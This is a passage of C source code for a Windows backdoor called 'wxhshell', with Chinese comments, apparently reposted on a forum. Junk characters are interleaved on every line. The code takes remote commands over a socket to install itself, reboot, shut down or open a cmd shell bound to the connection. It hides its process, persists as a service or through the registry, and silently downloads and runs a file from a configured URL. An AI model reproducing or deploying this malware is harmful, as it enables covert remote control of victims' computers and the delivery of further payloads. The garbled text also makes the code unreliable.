  D5bi)@G7z  
  // 帮助 KOXG=P0  
  case '?': { &K[~Ab_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o::9M_;  
    break; `H*mQERb  
  } +=|%9%  
  // 安装 tK*y/S  
  case 'i': { Rb:?%\=  
    if(Install()) knV*,   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c>/7E-T  
    else '3Fb[md54  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j^U"GprA  
    break; 3jJV5J'"  
    } Gkfzb>_V]  
  // 卸载 ~/aCzx~  
  case 'r': { Oz]$zRu/0  
    if(Uninstall()) +CSR!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M($GZ~ b%A  
    else v6uRzFw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0ZI}eZA j  
    break; &%/T4$'+Y+  
    } O6b+eS  
  // 显示 wxhshell 所在路径 ?LU>2!jN  
  case 'p': { FrLv%tK|  
    char svExeFile[MAX_PATH]; UEYJd&n0CB  
    strcpy(svExeFile,"\n\r"); A8S9HXL  
      strcat(svExeFile,ExeFile); 3syA$0TZt  
        send(wsh,svExeFile,strlen(svExeFile),0); KX cRm)  
    break; f qWme:x  
    } FoZI0p?L)9  
  // 重启 l>s@&%;Mg  
  case 'b': { 4u41M,nJQd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I|;zGmg#k  
    if(Boot(REBOOT)) ".( G,TW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &><b/,]  
    else { upeioC q  
    closesocket(wsh); ?GLCd7TP  
    ExitThread(0); ph!h8@e  
    } mO]dP;,  
    break; 5K$<Ad4$b  
    } y[S9b (:+  
  // 关机 yqtHlz%  
  case 'd': { ? }`mQ<~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ==%5Ci7qMy  
    if(Boot(SHUTDOWN)) e8(Qx3T?b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8o $ ` '  
    else { 6jm/y@|F!  
    closesocket(wsh); 368 g> /#'  
    ExitThread(0); rqm":N8@  
    } 4:b'VHW.  
    break; @PQd6%@  
    } z?|bs?HKS  
  // 获取shell _;S~nn  
  case 's': { >T0`( #Lm  
    CmdShell(wsh); #(+V&< K  
    closesocket(wsh); -*J!Ws(9  
    ExitThread(0); sP% b? 6  
    break; TA:#K  
  } WI&}94w  
  // 退出 .V UnOdI  
  case 'x': { =kK%,Mr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \GioSg  
    CloseIt(wsh); U^)`_\/;?  
    break; 10m|?  
    } 2 1+[9  
  // 离开 Q~' \oWz  
  case 'q': { UYW'pV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e$`hRZ%  
    closesocket(wsh); WW^+X~Y  
    WSACleanup(); `P:[.hRu  
    exit(1); H<?s[MH[  
    break; }&6:0l$4!  
        } hK{<&T  
  } fuF{8-ua  
  } (#z6w#CU(  
^7;s4q  
  // 提示信息 $2}%3{<j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EUV8H}d5  
} &=:3/;c  
  } o Qo5y_o~  
&Ll&A@yU  
  return; G)Y,*.,  
} uAoZ&8D6  
@^g~F&Ta  
// shell模块句柄 HRu;*3+%>F  
int CmdShell(SOCKET sock) D$NpyF.87  
{ X2:23j<  
STARTUPINFO si; WlGT&m&2  
ZeroMemory(&si,sizeof(si)); d 792#Dc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O;}K7rSc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [U"/A1p  
PROCESS_INFORMATION ProcessInfo; JB.U&  
char cmdline[]="cmd"; uq54+zC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]0|A\bE\S  
  return 0; 1_Av_X  
} t&EY$'c  
E8p,l>6(f  
// 自身启动模式 Mk+G(4p  
int StartFromService(void) +#<Z/  
{ ###>0(n  
typedef struct cKoW5e|u  
{ @tD (<*f+  
  DWORD ExitStatus; m_`%#$s}  
  DWORD PebBaseAddress; 'lu3BQvfh  
  DWORD AffinityMask; )Z['=+s%  
  DWORD BasePriority; _G25$%/LU  
  ULONG UniqueProcessId; E7aG&K  
  ULONG InheritedFromUniqueProcessId; n"Bc2}{  
}   PROCESS_BASIC_INFORMATION; SR?(z  
%&V%=-O_7  
PROCNTQSIP NtQueryInformationProcess; S)4p'cUwq  
HTvUt*U1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _)~VKA]""  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y| ch ;  
<l5m\A  
  HANDLE             hProcess; Cz9MXb]B  
  PROCESS_BASIC_INFORMATION pbi; Z;RUxe|<k  
JAXD\StC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DGS,iRLnA  
  if(NULL == hInst ) return 0; qE]e+S?57a  
Aq3\Q>klH)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &Vgpv#&Cfx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g0B%3v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @>V;guJC%  
DZ`m{l3H  
  if (!NtQueryInformationProcess) return 0; ~oT*@  
jh`[ Y7RJO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uhp.Yv@c  
  if(!hProcess) return 0; ?.H]Y&XF  
{s*2d P)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !=a]Awr\  
\^RKb-6n  
  CloseHandle(hProcess); q(~|roKA(  
 jIH^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uI%7jA~@  
if(hProcess==NULL) return 0; BHZhdm@),  
;YW@ 3F-h  
HMODULE hMod; 257$ !  
char procName[255]; 7\R"RH-  
unsigned long cbNeeded; =oI6yf&8 Z  
n+YUG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R:R<Xt N`5  
CgYX^h?Y9  
  CloseHandle(hProcess); |d*a~T0  
lmD [Cn  
if(strstr(procName,"services")) return 1; // 以服务启动 pIYXYQ=Z  
.uxM&|0H  
  return 0; // 注册表启动 -V[x q  
} VfP\)Rl  
mw;4/ /R  
// 主模块 0(:SEiz6s  
int StartWxhshell(LPSTR lpCmdLine) |5X[/Q*K`W  
{ [;sTl~gC  
  SOCKET wsl; =adHP|S  
BOOL val=TRUE; IAq o(Qm  
  int port=0; 0 _MtmmL.  
  struct sockaddr_in door; RtpV08s\  
W g6H~x  
  if(wscfg.ws_autoins) Install(); BzO,(bd!PI  
RwOOe7mv  
port=atoi(lpCmdLine); ?2dI8bG  
YhS_ ,3E  
if(port<=0) port=wscfg.ws_port; c< MF:|(}  
=+ >>l0=_v  
  WSADATA data; hh*('n>[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h& }iH  
kw]?/s`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z[ (d7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6yMZ2%  
  door.sin_family = AF_INET; _*Z3,*~"X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e6J^J&`|4  
  door.sin_port = htons(port); pi/0~ke4"  
N)R5#JX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *L$_80  
closesocket(wsl); vlE]RB  
return 1; NX.5 u8Pf  
} +{V`{'  
v~x4Y,m%  
  if(listen(wsl,2) == INVALID_SOCKET) { OHsA]7S  
closesocket(wsl); #RaqNu  
return 1; |('o g*$  
} X:;x5'|  
  Wxhshell(wsl); '@ Rk#=85Z  
  WSACleanup(); }zQgS8PQH  
3,6f}:CG  
return 0; ::$W .!Uv  
Y_!+Y<x7v  
} U&V u%+B  
gD4vV'|  
// 以NT服务方式启动 mTxqcQc:7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N!3Tg564j  
{ z8JW iRn  
DWORD   status = 0; F@f4-NR>  
  DWORD   specificError = 0xfffffff; &0-oi Y  
JcmJq fR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dm5 Uy^F}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /W BmR R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QDJ "X  
  serviceStatus.dwWin32ExitCode     = 0;  QSY>8P  
  serviceStatus.dwServiceSpecificExitCode = 0; $/ IFSB9  
  serviceStatus.dwCheckPoint       = 0; +,LWyvc'  
  serviceStatus.dwWaitHint       = 0; 4_ U"M@  
dgoAaS2M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OoH-E.lp  
  if (hServiceStatusHandle==0) return; sVw:d _ E  
.O5V;&,  
status = GetLastError(); m:[I$b6AY  
  if (status!=NO_ERROR) p^<(.+P4  
{ H)7v$A,5%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  ID,_0b  
    serviceStatus.dwCheckPoint       = 0; 9,`i[Dzp  
    serviceStatus.dwWaitHint       = 0; rVoV@,P  
    serviceStatus.dwWin32ExitCode     = status; T>rmm7F  
    serviceStatus.dwServiceSpecificExitCode = specificError; V@#oQi*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PDuBf&/e  
    return; % _E?3  
  } /YHO"4Z  
d-+jb<C&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3-{BXht)  
  serviceStatus.dwCheckPoint       = 0; 3c3;8h$k  
  serviceStatus.dwWaitHint       = 0; 'kcR:5B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b&&l   
} 72Y 6gcg  
NGl 8*Af   
// 处理NT服务事件,比如:启动、停止 3,{eH6,O7M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7KhS{w6  
{ rMbq_5}  
switch(fdwControl) 0r1GGEW`s  
{ 9 $$uk'}w!  
case SERVICE_CONTROL_STOP: nf 8V:y4  
  serviceStatus.dwWin32ExitCode = 0; FrXP"U}Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N n FR;  
  serviceStatus.dwCheckPoint   = 0; R2sG'<0B0  
  serviceStatus.dwWaitHint     = 0; [B)!  
  { 5 k3m"*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fP|[4 ku  
  } In96H`  
  return; ;6[6~L%K}  
case SERVICE_CONTROL_PAUSE: 8$\j| mN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j2_j5Hgo  
  break; ZxwrlaA  
case SERVICE_CONTROL_CONTINUE: %N<5ST>(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hDJG.,r  
  break; bkDVW  
case SERVICE_CONTROL_INTERROGATE: 2RX]~}  
  break; yT@Aj;X0v  
}; h' !C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mp|Jt  
} cE 'LE1DK  
<Q9l'u]3$c  
// 标准应用程序主函数 _90D4kGU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $5JeN{B  
{ |du%c`wl  
018SFle  
// 获取操作系统版本 BA2"GJvfIA  
OsIsNt=GetOsVer(); O?Bf (y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _) x{TnK  
xyk%\&"7  
  // 从命令行安装 ?o;ip  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mu[lk=jC  
#:gl+  
  // 下载执行文件 2MRd  
if(wscfg.ws_downexe) { OVi < d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ul_Zn  
  WinExec(wscfg.ws_filenam,SW_HIDE); OlRXgJ  
} 4@{c K|  
$lf/Mg_H  
if(!OsIsNt) { t2(X  
// 如果时win9x,隐藏进程并且设置为注册表启动 .))j R:{3  
HideProc(); 3&^hf^yg  
StartWxhshell(lpCmdLine); vYm:V:7Y2  
} "@eGgQ  
else I0 ~'z f  
  if(StartFromService()) .h=n [`RB  
  // 以服务方式启动 @c]KHWI  
  StartServiceCtrlDispatcher(DispatchTable); .T9$O]:o  
else M=liG+d  
  // 普通方式启动 {wz)^A sy  
  StartWxhshell(lpCmdLine); Hp=BnN  
-a)1L'R  
return 0; A r]*?:4y[  
}
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只看该作者 1 发表于: 2006-10-10
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